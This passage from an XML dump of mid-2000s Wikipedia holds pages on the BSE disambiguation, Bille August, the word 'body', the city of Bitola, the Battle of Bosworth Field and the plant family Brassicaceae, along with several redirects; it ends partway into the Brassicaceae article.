* [[Bombay Stock Exchange]]
* [[Budapest Stock Exchange]]
* [[Bovine spongiform encephalopathy]], also known informally as &quot;mad cow disease&quot;
* [[Breast self-examination]]
* [[Bitta Somethin Extra]] Ps2 online gaming clan - No.1 European Union BF:MC2
* [[Black Sun Empire]] - [[Netherlands|Dutch]] [[drum and bass]] production trio
* Bad Simple English - Synonym for [[Germish|Denglish]]

{{TLAdisambig}}

[[de:BSE (Begriffsklärung)]]
[[nl:BSE]]</text>
    </revision>
  </page>
  <page>
    <title>Bille August</title>
    <id>3785</id>
    <revision>
      <id>38146145</id>
      <timestamp>2006-02-04T14:15:25Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Bille August''' (born [[November 9]], [[1948]]) is a [[Denmark|Danish]] [[film]] and [[television]] [[film director|director]]. Most of his projects have been in co-operation with [[Sweden|Swedish]] production and with a mainly Swedish cast. He was partially educated in Sweden and also married to Swedish actress [[Pernilla August]] from 1991 to 1997.

Selected productions:

* ''[[Busters verden]]'' ([[1984]], Buster's world)
** based on the book by Danish writer [[Bjarne Reuter]]

* ''[[Pelle the Conqueror|Pelle Erobreren]]'' ([[1987]], Pelle the Conqueror)
** based on a novel by Danish author [[Martin Andersen Nexø]]
** won the [[Golden Palm]] at the [[Cannes Film Festival]] and an [[Academy Award for Best Foreign Language Film]]

* ''[[Den gode vilje]]'' (1991, The Best Intentions)
** script by [[Ingmar Bergman]].
** won the [[Golden Palm]] at the [[Cannes Film Festival]]. 

* ''[[Jerusalem (1996 film)|Jerusalem]]'' (1996)
** based on a novel by the Swedish author [[Selma Lagerlöf]].

* ''[[The House of the Spirits]]'' (1993)
** based on a novel by [[Chile]]an author [[Isabel Allende]].

* ''[[Smilla's Sense of Snow]]'' (1997)
** based on a novel by Danish author [[Peter Hoeg|Peter Høeg]].

* ''[[Les Misérables (1998 movie)|Les Misérables]]'' (1998)
** based on [[Les Misérables|the novel of the same name]] by French author [[Victor Hugo]].

* ''[[En sang for Martin]]'' (2001, A Song for Martin)

[[Category:1948 births|August, Bille]]
[[Category:Living people|August, Bille]]
[[Category:Danish film directors|August, Bille]]

[[da:Bille August]]
[[de:Bille August]]
[[fr:Bille August]]
[[nl:Bille August]]
[[ja:ビレ・アウグスト]]
[[no:Bille August]]
[[pl:Bille August]]
[[sv:Bille August]]</text>
    </revision>
  </page>
  <page>
    <title>Biblioholic</title>
    <id>3787</id>
    <revision>
      <id>15902102</id>
      <timestamp>2005-05-21T00:40:22Z</timestamp>
      <contributor>
        <username>NoAccount</username>
        <id>269611</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bibliophilia]]</text>
    </revision>
  </page>
  <page>
    <title>Body</title>
    <id>3788</id>
    <revision>
      <id>42044467</id>
      <timestamp>2006-03-03T12:18:25Z</timestamp>
      <contributor>
        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <comment>/* See also */ * [[Autopsy]]</comment>
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[body (disambiguation)]].}}

With regard to [[organism|living things]], a '''body''' is the integral '''physical''' material of an individual, and contrasts with [[soul]], [[personality]] and [[behavior]]. 
In some contexts, a superficial element of a body, such as [[hair]] may be regarded as not a part of it, even while attached. The same is true of excretable substances, such as [[feces|stool]], both while residing in the body and afterwards.  
[[Plant]]s composed of more than one [[cell (biology)|cell]] are not normally regarded as possessing a body. 

&quot;Body&quot; often is used in connection with [[appearance]], [[health]] issues and [[death]]. 
The body of a dead person is also called a '''corpse''', for [[human]]s, or '''cadaver'''. 
The dead bodies of [[vertebrate]] animals and [[insect]]s are sometimes called '''carcasses''', and dead [[virus]]es are called '''ghosts'''.

The [[human anatomy|human body]] consists of a [[head (anatomy)|head]], [[neck]], [[trunk]], two [[arm]]s, two [[Human leg|legs]] and the [[genitals]] of the groin, which differ between [[male]]s and [[female]]s.

The study of the working of a body is [[human anatomy|anatomy]].

A body is also a held-together collection or group of physical objects or abstract ideas and, in particular, an [[organisation]] of such. 
The whole is more than the simple sum of the individual [[member]]s, because the whole contains, in addition, [[information]] about the relationships among the [[elements]] of the whole.  The '''body of evidence''' is a phrase which defines the sum total of all knowledge or '''evidence''' of some thing.

Body [[Ecology]] focuses on the ecology within the body.  We are made up of trillions of microbes.  

== Injury ==

'''[[Injury]]''' is [[damage]] or harm caused to the [[structure]] or [[Purpose|function]] of the body caused by an outside [[agent (grammar)|agent]] or [[force]], which may include physical or [[chemistry|chemical]].

== See also ==

* [[Physical body]]
* [[Antibody]]
* [[Battery (crime)|Battery]]
* [[Bodily harm]]
* [[Disability]]
* [[Disease]]
* [[Emergence]]
* [[Healing]]
* [[Health]]
* [[Human physical appearance]]
* [[Human body]]
* [[Physical trauma|Trauma]]
* [[Microtrauma]]

Regarding corpses:
* [[Autopsy]]
* [[Burial]]
* [[Cremation]]
* [[Death]]
* [[Embalming]]
* [[Mummy]]
* [[Necrophilia]]
* [[Respect for the dead]]
* [[Dead bodies and health risks]]

* [[Body Farm]]

== Books ==
*Anne Fausto-Sterling, Myths of Gender: Biological Theories about Women and Men, 2., revised ed., New York, N.Y : Basic Books, 1992
* [[Mary Roach]], ''[[Stiff: The Curious Lives of Human Cadavers]]'', [[2004]], [[Penguin Books]] Ltd., UK (ISBN 0141007451)
* Jessica Snyder Sachs, ''Corpse: Nature, Forensics, and the Struggle to Pinpoint Time of Death'' (ISBN 0738207713)
[[Category:Death]]

[[Category:Core issues in ethics]]

[[da:Krop (biologi)]]
[[de:Körper (Biologie)]]
[[ko:몸]]
[[id:Tubuh]]
[[is:Líkami]]
[[nl:Lichaam (biologie)]]
[[ja:死体]]
[[sv:Lik]]</text>
    </revision>
  </page>
  <page>
    <title>Bitola</title>
    <id>3789</id>
    <revision>
      <id>42104506</id>
      <timestamp>2006-03-03T21:29:09Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>units</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;285px&quot; style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
| style=&quot;background:#abcdef&quot; colspan=2 | &lt;center&gt;&lt;big&gt;'''Bitola''' &lt;/big&gt;&lt;/center&gt;
|-----
| style=&quot;background:#zzzzzz;&quot; align=&quot;center&quot; colspan=2 |
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Municipality]]: || Bitola
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Area]]: || 320 km²
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Altitude]]: || 576 m
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Population]]: || 86,176 &lt;small&gt;[[census]] 1994&lt;/small&gt;
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Population density]]: || 1280 persons/km²
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Postal Code]]: || 7000
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Area codes in Macedonia|Area code]]: || 047
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Municipality code]]: || BT
|----- bgcolor=&quot;#FFFFFF&quot;
| City moto: || &quot;''Bitola, babam Bitola''&quot;
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Latitude]]: ||  41° 01' 52'' N 
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Longitude]]: || 21° 20' 25'' E 
|----- bgcolor=&quot;#FFFFFF&quot;
| [[Mayor]]: || [[Vladimir Talevski]] 
|----- bgcolor=&quot;#FFFFFF&quot;
|}
[[Image:Architecture.jpg|thumb|300px|right|Bitola in Winter (January 2006)]]

'''Bitola''' ([[Macedonian language|Macedonian]] Битола, [[Greek language|Greek]] &quot;Monastiri&quot;, [[Turkish language|Turkish]] &quot;Manastır&quot;, see also [[Names of European cities in different languages#B|other names of Bitola]]''), is the second largest city in the [[Republic of Macedonia]], located in the southern part of the [[Pelagonia]] valley, close to the border with [[Greece]]. The name of the city probably comes from the word ''Obitel (Bitel, Bitolia)'' (old slavic word, meaning &quot;''monastery''&quot;, translation from the Greek original).

The city is dispersed along the banks of the Dragor river at an altitude of 2,019 ft (615 m) above sea level under [[Baba Mountain]]. Spreading on an area of 1,798 sq. km. and with a population of 122,173 (1991), Bitola is an important industrial, agricultural, commercial, educational, and cultural center. It represents an important junction that connects the South of the [[Adriatic Sea]] with the Aegean Sea and Central Europe.The second Macedonian university is located here. Bitola has one of the oldest and most prestigious theaters in the country. 

Traditionally a strong trading center, Bitola is also known as the city of the consuls. At one time during the Ottoman rule, Bitola had consulates from twelve countries. During the same period, there were a number of prestigious schools in the city including a military academy that, among others, was attended by the famous Turkish reformer [[Kemal Ataturk]]. Bitola was also the headquarter of many cultural organizations that were established at that time.

Baba Mountain overlooks Bitola from the east. Its magnificent [[Pelister]] mountain (2601 m) is a national park with exquisite flora and fauna, and a well-known ski resort.

== History ==

Many important events in [[Macedonia (region)|Macedonian]] and [[Balkan]] history took place in Bitola.

The town was founded by [[Illyrian]] tribes in the vicinity of [[Heraclea Lyncestis]], in the middle of the 7th century AD. The archeological excavations on the Velusina Hill, Porodin Hill, and others date from the Neolith. Heraclea Lyncestis was founded by [[Philip II of Macedon]] and was one of the major cities in the [[Roman Empire|Roman]] Balkans. The [[Via Egnatia]] passed through the town. 

In the 6th and 7th centuries the region around Bitola experienced a demographic shift as more and more Macedonian Slavs settled in the area.   

The town is mentioned in several medieval sources. [[John Skylitzes]]'s 11th century chronicle mentions that Emperor [[Basil II]] burned Gavrilo's castles in Monastiri, when passing through and demolishing Pelagonia. The second [[chrysobull]] (1019) of Basil II mentioned that the Bishop of Monastiri depended on the [[Bulgarian Archbishopric of Ohrid|Archbishopric of Ohrid]]. During the reign of [[Tsar]] [[Samuil]], the city was included within the Bulgarian state and was the seat of Bitola's bishop. In many mediaeval sources, most from the West, the name Pelagonia stood for a landmark of Bitola Bishopric, and in some of them Bitola was known under the name of Heraclea due to the church tradition ''i.e.'' the turning of Heraclea Bishopric into Pelagonian Metropolitan's Diocese.

[[Image:heraclea.jpg|thumb|300px|right|The Heraclea Lyncestis mosaic]] 

Bitola was part of Serbia in the 14th century and since the end of the 14th century until 1912 it was part of the [[Ottoman empire]]. For several centuries Moslems were the majority in this city, while the villages were populated with Macedonian Slavs. [[Evliya Çelebi]] says the city had 70 mosques, several cafe-tea rooms, bezisten (old turkish market) with iron gates, and 900 shops were built. Bitola (then Monastir) become a [[sanjak]] centre in the [[Rumelia|Rumeli]] [[Subdivisions of the Ottoman Empire|eyalet]]. After the [[Expulsion of 1492]], [[Sephardi Jews|Spanish-speaking Jews]] arrived in waves from the Iberian peninsula, ([[Spain]] and [[Portugal]]) and other lands harassed by the [[Inquisition]].

As a center of the military, political and cultural life, Bitola played a very important role in the life of the mediaeval Slavs. On the eve of its coming under Ottoman rule (14th century), Bitola experienced a powerful boom, and had already had developed trading links all over the Balkans Peninsula, especially with the big economic centers: [[Constantinople]], [[Salonika]], [[Dubrovnik]]... Caravans of most variable goods moved to Bitola from all sides and reverse, from Bitola to all other centers.

After the [[Austrian-Turkish wars]], together with the other Macedonian cities, the trade development and the overall thriving of the city was stifled. In the second half of the 19th century, however, again, it became the biggest city in Macedonia, after Thessalonica and resumed the role as the main center for trade. The shops were filled with goods from [[Leipzig]], [[Paris]], [[Vienna]], [[London]] and many of other European cities. The city is also known as &quot;city of consuls&quot;, because Bitola used to be a diplomatic center with 12 consuls during the period 1878&amp;ndash;1913. In 1864, Bitola became an [[Wilayah|eyalet]]. This province constituted from sanjaks of Bitola (Monastir), [[Debar]], [[Elbasan]], [[Korca]] and [[Servia]]. 

The first motion picture made in the Balkans was recorded by the Vlach [[Manakis brothers]] in Bitola in 1903. In their honor, the annual [http://www.manaki.com.mk/ Manaki Brothers International Film Camera Festival] is held in Bitola.  The Monastir congress of 1908 which defined the modern [[Albanian alphabet]] was held in Bitola.

After the [[First Balkan War]], the [[Treaty of London]] of 1913 annexed the city, together with the current West Macedonia, to [[Serbia]], and Serbian forces occupied Bitola .

During the [[World War II|Second World War]] (1941-1945), the Germans and later Bulgarians controlled the city, until it was liberated in 1944 by the Macedonian Partisans. In 1945 the first Gymnasium using the Macedonian language was opened here.

== Historical buildings ==

'''Saat kula - The Clock Tower.''' It is not known when the [[clock-tower]] was built, although according to the written sources it was mentioned already in the 16th century, but because of the lack of any description, it is not clear if it is about the same clock-tower. According to some, the clock-tower was built in the same time with the church St.Dimitrija in 1830. Nowadays still exists the legend &quot;that the [[Ottoman Empire|Turkish]] authorities of that time collected from the Bitola county villages around 60 000 eggs and used them in the construction together with the mortar, in order to make the walls more resistant and strong.&quot; The Clock tower has rectangular base and it is about 30 meters high. On the upper part-by the very top there is a terrace in rectangular form and it is fenced with iron fence. On each sides of the fence there is iron console construction which holds the lamps for lighting the watch.
The Clock tower is divided in three levels and in the upper one the mechanism of the watch is installed. The first (old )mechanisam was replaced in the time of the second world war. Due to the effords of the City of Bitola, to maintain the old german graves from the first world war, the german nazi regime gave them a new still functioning clock mechanisam as a present. 
By its architecture, the Clock tower is massive construction and it is composed of walls, massive spiral stairs, wooden mezzanine constructions, pendentives (triangular pass from square to cupola) and cupola. During the construction of the clock-tower the façade is simultaneously decorated with simple stone plastic.

[[Image:saat.jpg|thumb|300px|right|The clock tower in Bitola]]

The '''church of St.Dimitrija''' was built in 1830 with voluntary contributions of the local merchants and craftsmen. Since in the [[Ottoman Empire]] the churches were supposed look plain on the outside, the church is lavishly decorated on the inside, in order to make up for the lack of splendor on the outside. The interior of the church is of rear beauty, decorated with polielei (church lamps), carved bishop throne and engraved [[iconostasis]]. According to some theories by professionals, the church iconostas is a work of art of the [[Miyak]] engravers. The most impressive feature of the iconostas is the arc above the imperial quarters with modeled figures of [[Jesus]] and the twelve apostles.
Besides the iconostas, in the temple of Notre Dame there are also some other wood-engraved items, like the bishop’s throne made in the spirit of [[Miyak]] engravers, several icon frames and five wooden engraved pillars shaped like thrones of more recent history. The fresco-art originates from two periods. The first period is from the end of the 20th century, and the second begins from the end of [[World War I]] and lasts to the present day. Businessmen and citizens from Bitola and the surrounding area, via their voluntary contributions have made possible for this church to be adorned with icons and frescos. The authors of a major part of the icons had a vast knowledge of iconography schemes of the [[New Testament]]. Icons are produced with a great sense for color, where most dominant are shades of red, green and ocher. The abundance of golden ornaments is easily noticeable and this points out to the presence of [[late-Byzantine]] artwork and baroque style. On one of these icons, the one that presents St.Dimitrij, there is a signature with the initials D.A.Z., which points out the fact that the icon was produced by the iconographer [[Dimitar Andonov]] the [[zograph]] in 1889. The church treasury is not enriched only by the large number of icons and frescos, but the church also has a large number of other items in its possession, like the putiri made by local masters, one darohranilka of Russian origin, as well as several paintings shoving scenes from the [[New Testament]], brought by pilgrims from Bitola from their pilgrimage in Jerusalem. The opening scenes of the film &quot;The Peacemaker&quot; were shot in the &quot;St. Dimitrija&quot; church in Bitola. 

The '''Ajdar-kadi (Turkish judge) mosque''' is one of the most attractive monuments of the Islamic architecture in Bitola. It was built in 1561-1562, as the project of the famous architect [[Mimar Sinan]], ordered by the Bitola kadija Ajdar-kadi. The [[mosque]] was abandoned and over time, it was heavily damaged, but, the recent restoration and conservation works, have restored, to a certain extent, the original appearance to the mosque.

The '''Jeni mosque''' is located in the centre of the city. It has a square base, topped with a cupola. Near the mosque there is a minaret, 40 m high. Today, in the rooms of this mosque are permanent and temporary art exhibitions are held.

The '''Ishak mosque''' is the inheritance of the famous kadi [[Ishak Çelebi]]. In the spacious yard of the mosque, there are several tombs, attractive because of the soft, molded shapes of the sarcophagi.

The '''Bezisten (the old Turkish market)''' is mentioned in another description of the city from the 16th and the 17th century. The present Bezisten in  external appearance does not differ much from the original one. The Bezisten had 86 shops and 4 large iron gates. The shops were used for selling textiles, and today they are being used for selling food products.

The '''Bath Deboj''' (Turkish bath=[[hamam]]). The period of construction is not known. This hamam over time was heavily destroyed, but, after the repairs were made it regained its original appearance: beautiful facade, two large cupolas and several minor ones.

== Bitola today ==
[[Image:pelister.jpg|thumb|300px|right|Bitola-The National park Pelister]]
Bitola is the main economical and industrial center in the western part of Macedonia. Many of the largest companies in Macedonia are situated in the city.  Bitola has a vast economic potential. The Pelagonija agricultural combine is the largest producer of food in the country. The Streževo water system is the largest in Macedonia and has the best technological facilities. The three thermoelectric power stations of REK Bitola produce nearly 80% of electricity in the state. The Frinko refrigerate factory is a leading electrical and metal company. Bitola also has significant capacities in textile and food industries.

The University of “St. Kliment Ohridski” is the second university in the Republic of Macedonia. It was formed in 1979, as a result of dispersed processes that occurred in education in the seventies, and increasing demand of highly skilled professionals outside the Republic’s capital. Since 1994, it carries the name of the great Slavic educator [[St. Clement of Ohrid]]. The following higher educational institutions and scientific-research organizations are part of this University: 
*Technical Faculty – Bitola
*Economical Faculty – [[Prilep]]
*Faculty of Tourism and Leisure management – [[Ohrid]]
*Teachers Faculty – Bitola
*Faculty of biotechnological sciences – Bitola
*Medical college – Bitola
*Tobacco institute – [[Prilep]]
*Hydro-biological institute – [[Ohrid]]
*Slavic cultural institute – [[Prilep]]

Institutions that are part of the university are located in Bitola, [[Ohrid]] and [[Prilep]], but the headquarters are in Bitola. University with its additions in development of higher education and scientific thought has succeeded to establish itself, accomplishing permanent cooperation with University of [[St. Cyril and Methodius]] from [[Skopje]] and with other universities from [[Balkan]] and [[European]] countries.

The Science Society is another active institution in Bitola. There is a large number of cultural institutions as well. The best known among them is the Bitola Theater, which has won the highest theater accolades at many festivals in the country and abroad. The Art Gallery and a number of cultural and artistic associations have recorded a continuously upward line of activity. Bitola also hosts the international art event entitled 'Small Bitola Monmartre' and the Interfest festival of classical music. The  'llinden Days' folk music festival is another event held there each year.
Bitola nowadays is turning into the second diplomatic center of Macedonia. [[Austria]], [[Slovenia]], [[France]], [[Turkey]],[[Italy]],[[United Kingdom]],[[Russia]],[[Romania]], [[Greece]] and other countries have already opened consulates there.

== External links ==
*[http://www.bitola.gov.mk Bitola Municipality Official Page]
*[http://www.radiomacedonia.net Radio Stari Kraj Macedonia]
*[http://www.bitola.de Bitola Babam Bitola]

{{Towns in Macedonia}}

[[Category:Cities in the Republic of Macedonia]]

[[bg:Битоля]]
[[de:Bitola]]
[[el:Μοναστήρι (ΠΓΔΜ)]]
[[eo:Bitola]]
[[fa:بیتولا]]
[[fr:Bitola]]
[[lt:Bitola]]
[[mk:Битола]]
[[nl:Bitola]]
[[pl:Bitola]]
[[ro:Bitola]]
[[sq:Manastiri]]
[[sr:Битољ]]
[[sv:Bitola]]
[[tr:Manastır]]</text>
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    <title>BodyBuilding</title>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bodybuilding]]
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    <title>Bryan McLean</title>
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      <contributor>
        <username>Gene Nygaard</username>
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      <text xml:space="preserve">#redirect [[Bryan MacLean]]</text>
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  <page>
    <title>Battle of Bosworth Field</title>
    <id>3793</id>
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      <id>39991695</id>
      <timestamp>2006-02-17T09:18:44Z</timestamp>
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        <username>Saga City</username>
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      <comment>moved/wikified last contribution</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Bosworth Field
|partof=the [[Wars of the Roses]]
|image=
|caption=
|date=[[August 22]], [[1485]]
|place=Around White Moors, between [[Shenton]] and [[Dadlington]] in [[Leicestershire]], [[England]]
|result=Decisive Lancastrian victory
|combatant1=[[Richard III of England]], [[House of York|Yorkist]]
|combatant2=[[Henry VII of England|Henry Tudor, Earl of Richmond]], [[House of Lancaster|Lancastrian]]
|commander1=[[Richard III of England]]&amp;dagger;
|commander2=Nominally, [[Henry VII of England|Richmond]]
In practice, [[John de Vere, 13th Earl of Oxford|the Earl of Oxford]]
|strength1=8,000
|strength2=5,000
|casualties1=900
|casualties2=100
}}
{{Campaignbox Wars of the Roses}}

The '''Battle of Bosworth''' or '''Bosworth Field''' was an important battle during the [[Wars of the Roses]] in [[15th century]] [[England]]. It was fought on [[22 August]], [[1485]] between the [[House of York|Yorkist]] [[List of monarchs of England|King]] [[Richard III of England|Richard III]], the last of the [[Plantagenet]] dynasty, and the [[House of Lancaster|Lancastrian]] contender for the crown, [[Henry VII of England|Henry Tudor, 2nd Earl of Richmond]] (later King Henry VII). It ended in the defeat and death of Richard and the establishment of the [[Tudor dynasty]]. Historically, the battle is considered to have marked the end of the Wars of the Roses, although further battles were fought in the years that followed as Yorkist [[pretender|pretenders]] unsuccessfully sought to reclaim the crown. (Strictly, Tudor's earlier [[treason]]s had caused him to be stripped of the Richmond title, until he took [[The Crown]] and gave the title back to himself.)...

==The Campaign and its politics==
Henry had landed in [[Pembrokeshire]], the county of his birth, on [[7 August]] with a small force&amp;mdash;consisting mainly of [[France|French]] [[Mercenary|mercenaries]]&amp;mdash;in an attempt to claim the throne of England. Richard III had fought similar battles with Lancastrian usurpers in the past, but this one would be his last. Although Henry did not have his opponent's [[military]] experience, he was accompanied by his uncle, [[Jasper Tudor, 1st Duke of Bedford|Jasper Tudor, 1st Earl of Pembroke]] (later 1st Duke of Bedford) and [[John de Vere, 13th Earl of Oxford]], each of them being a brilliant and seasoned [[soldier]]. Henry gathered supporters in the course of his journey through his father's native [[Wales]], and by the time he arrived in the [[Midlands]], he had amassed an army of an estimated 5,000 men.  The King, by contrast, could command nearly 8,000. The decisive factor in the battle was to be the conduct of the Stanley brothers&amp;mdash;[[William Stanley (Battle of Bosworth)|Sir William Stanley]] and [[Thomas Stanley, 1st Earl of Derby|Thomas Stanley, 2nd Baron Stanley]], the latter being Henry's stepfather. Richard had good cause to distrust them, but was dependent on their continued loyalty.  

The battlefield site, now open to the public, is close to [[Sutton Cheney]] and [[Market Bosworth]] in [[Leicestershire]]. The actual site of the battle has been the topic of often contentious debate among professional and amateur historians, with a compelling case being made for situating the battle closer to the villages of [[Dadlington]] and [[Stoke Golding]], although most are agreed that Richard's encampment the night before the battle was indeed on [[Ambion Hill]]. Another school of thought is that the battle actually took place at [[Merevale]], just above [[Atherstone]] in [[Warwickshire]]; certainly  reperations were made by the king to Atherstone after the battle.  [[Henry Percy, 4th Earl of Northumberland]], with Lord Stanley and Sir William Stanley and their troops, watched the beginning of the engagement as the rest of Richard's army fought Henry's French mercenaries and loyal exiles. The Stanleys seem to have taken up a position some distance away from the two main armies. 

The two notorious vacillators in 1469&amp;ndash;71 were the young [[John Talbot, 3rd Earl of Shrewsbury]], and the older more experienced Lord Stanley. They acted with a circumspection that bordered on deceitfulness, consistently holding back from final commitment to either side, and always keeping on good terms with the winners. Richard had taken hostages to ensure that, even if Talbot and Stanley did not join him, they would at least remain neutral during the battle.

==The Battle==
The battle lasted about two hours, and began well for the king. Unfortunately for him, Sir William Stanley chose to enter the fray on Henry's side, with Lord Thomas Stanley abstaining from the conflict all together.

Richard reached [[Ambion Hill]] first and his troops were well-rested going into the battle, while Henry's men had trouble lining up on the rough ground below (it is not clear why). Richard might have charged then, possibly slaughtering the disorganised Lancastrians, but he missed his chance. When Henry finally got ready, his men used [[cannon]] and [[arrow|arrows]] to force Richard to come down from his hilltop. When Richard did, he called for Lord Northumberland, who commanded the right wing of Richard's army, to join in with fresh forces. But Northumberland refused, holding his forces back from action. Although he was captured on the day, he was soon released and confirmed in all his titles and lands by the new King Henry VII. But it was the decision of Lord Stanley, waiting nearby, that tipped the battle's outcome in favor of Henry. 

After Richard's commander, [[John Howard, 1st Duke of Norfolk]], was slain, and before the waiting armies of Lords Stanley and Northumberland chose sides, Richard attempted a valiant, suicidal [[Charge (warfare)|charge]] against Henry, who had stayed well clear of most of the fighting. In the attack, Richard killed Henry's standard bearer, William Brandon. But while Richard was within sight of Henry, Lord Stanley's army moved, surrounding Richard and the men of his Household. Thus was Richard cut down. He was 32 years of age. 

Richard of York was the second and last English king to die in battle ([[Harold II of England|Harold Godwinson]] at [[Hastings]], [[1066]], killed by the [[Normans]], was the first). He was the only king from the north, and the last of the [[Plantagenet]] kings. His body was ignominiously treated by the victors.

The battle proved to be decisive in ending the long-running [[medieval]] series of [[English Civil Wars]] later be to known as the [[Wars of the Roses]], although the last battle was actually to be fought at [[Battle of Stoke Field|Stoke]] two years later ([[1487]]).

==Consequences==

Henry Tudor was crowned as [[Henry VII of England|King Henry VII]], marking the beginning of the 118-year reign of the [[Tudor dynasty]] in [[England]]. He immediately sought to backdate his administration to a date prior to the battle of Bosworth Field in order to attaint for [[treason]] men who had fought for the former King Richard of York.

Henry VII was in fact outlawed and barred from his own inheritance, and was under [[Attainder]] when he seized the English Throne in 1485. Henry's [[coronation]] conveniently nullified the attainder. Following this, [[Parliament of the United Kingdom|Parliament]] made the declaration that any who had opposed King Henry at Bosworth were to be considered traitors.

Lord Northumberland was killed at one of his Yorkshire residences by a mob protesting over high taxes for the defence of [[Brittany]] against France on [[April 28]], [[1489]]. Another reason for the mob's actions was his part in the downfall and death of Richard III who remained popular in [[Yorkshire]].

==Location==
For several years after the event the battle was called the '''Battle of Redemore''' and it was some time before the more famous name was used. This has led to the theory that the battle was ''not'' fought on Ambion Hill but on a reedy moor in the same area. People have long been researching to try to discover the actual site of this battle, work which has continued in the first decade of the 21st century.

==Popular culture==

The Battle is a key setting in [[William Shakespeare]]'s [[Richard III (play)|Richard III]], and much of the mythology surrounding it seems to derive from inventions of Shakespeare for [[dramatic license]], which were otherwise unrecorded in the century before the play was written. In the play, Richard is unhorsed after his charge, and cries out &quot;A horse! A horse! My kingdom for a horse!&quot;, and his [[crown]] was retrieved by Henry from a [[Crataegus|hawthorn]] [[shrub|bush]]. Richard would not have worn his crown but may have worn a [[circlet]] on his helmet, that his men may recognize him.

The battle is also the setting for the first episode of the first series of [[Blackadder]], in which the comic protagonist accidentally kills Richard, saying in realization, &quot;Oh my God, it's Uncle Richard.&quot;

==Further reading==
*''Bosworth 1485'', Last Charge of the Plantagenets; Christopher Gravett, Osprey Campaign Series #66, Osprey Publishing, 1999

==External links==
*[http://www.leics.gov.uk/country_parks_bosworth Bosworth Battlefield visitor info]
*[http://www.r3.org/bosworth/ Richard III Society, American Branch] with maps, photos, articles presenting several competing theories situating the battle
*[http://richard111.com/roll_call_of_the_battle_of_boswo.htm Bosworth Roll Call] Officers there on the day.

[[Category:1485]]
[[Category:Battles of the Wars of the Roses|Bosworth 1485]]
[[Category:History of Leicestershire]]
[[Category:Visitor attractions in Leicestershire]]

[[bs:Bitka Bozvrf Polja]]
[[da:Slaget ved Bosworth]]
[[de:Schlacht von Bosworth Field]]
[[fr:Bataille de Bosworth]]
[[ja:ボズワースの戦い]]
[[nl:Slag bij Bosworth]]
[[no:Slaget ved Bosworth Field]]
[[ru:Битва при Босворте]]
[[sv:Slaget vid Bosworth Field]]</text>
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  <page>
    <title>Brassicaceae</title>
    <id>3794</id>
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      <minor />
      <comment>/* Use as food */  it's -&gt; its; precuaser -&gt; precursor (precuaser was a one-word googlewhack!)</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Brassicaceae
| image = Barbarea vulgaris1.jpg
| image_width = 250px
| image_caption = [[Winter Cress]] (''Barbarea vulgaris)''
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Dicotyledon|Magnoliopsida]]
| ordo = [[Brassicales]]
| familia = '''Brassicaceae'''
| familia_authority = [[Antoine Laurent de Jussieu|Juss.]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
See text.
}}

The [[flowering plant]] [[family (biology)|family]] '''Brassicaceae''', also called '''Cruciferae''', is known as the '''mustard family''' or '''cabbage family'''. Agricultural plants in the mustard family are also known as '''cole crops'''; ''cole'' comes from the [[Latin]] word ''caulis'' (stem), as does the [[German language|German]] ''Kohl''. 

The family contains species of great economic importance, providing much of the world's [[winter vegetable]]s.  These include [[cabbage]], [[broccoli]], [[cauliflower]], [[brussels sprout]]s, [[collard]]s, and [[kale]] (all cultivars of one species, ''[[Brassica oleracea]]''), [[Chinese kale]], [[rutabaga]] (also known as Swedish turnips or swedes), [[seakale]], [[turnip]]s, [[radish]] and [[Kohl Rabi|kohl rabi]]. Other well known members of the Brassicaceae include [[rapeseed]] ([[canola]] and others), [[mustard seed]], [[horseradish]], [[wasabi]] and [[watercress]]. 
The most intensely studied member of the Brassicaceae is the [[model organism]] ''[[Arabidopsis thaliana]]''.

The family was formerly named '''Cruciferae''' (&quot;cross-bearing&quot;), because the four [[petal]]s of their flowers are reminiscent of crosses. Many botanists still refer to members of the family as &quot;crucifers&quot;. According to [[ICBN]] Art. 18.5 (St Louis Code) Cruciferae is to be regarded as validly published, and is thus an accepted alternate name.

==Use as food==

The importance of this Family for food crops has lead to its selective breeding throughout history.  Brassica oleracea, a plant of Atlantic Europe and the Mediterranean, is the precursor to Cabbage, Brussels Sprouts, Broccoli, Kohlrabi, Cauliflower, Kale, and most recently [[Broccoflower]], a hybrid of Broccoli and Cauliflower.

{| class=&quot;wikitable&quot;
!Cultivar || Selected for...
|-
|Kale
|loose, uncompact leaves (most closely resembles the wild plant)
|-
|Cabbage
|enlarged terminal buds. 
|-
|Brussels sprouts
|numerous lateral buds.
|-
|Kohlrabi
|enlarged stems.
|-
|Broccoli
|enlarged stems and flowering structures.
|-
|Cauliflower
|more extensive flowering structures. The whiteness is caused by the outer 
leaves blocking sunlight and preventing the formation of chlorophyl. &lt;ref&gt;Sauer, J.D. 1993. Historical geography of crop plants - a select roster. CRC Press, Boca Raton, Florida&lt;/ref&gt;
|}

For more on members of the family used for food, see this special section:

:[[Cruciferous vegetables]]
&lt;br&gt;

==Distribution and description==
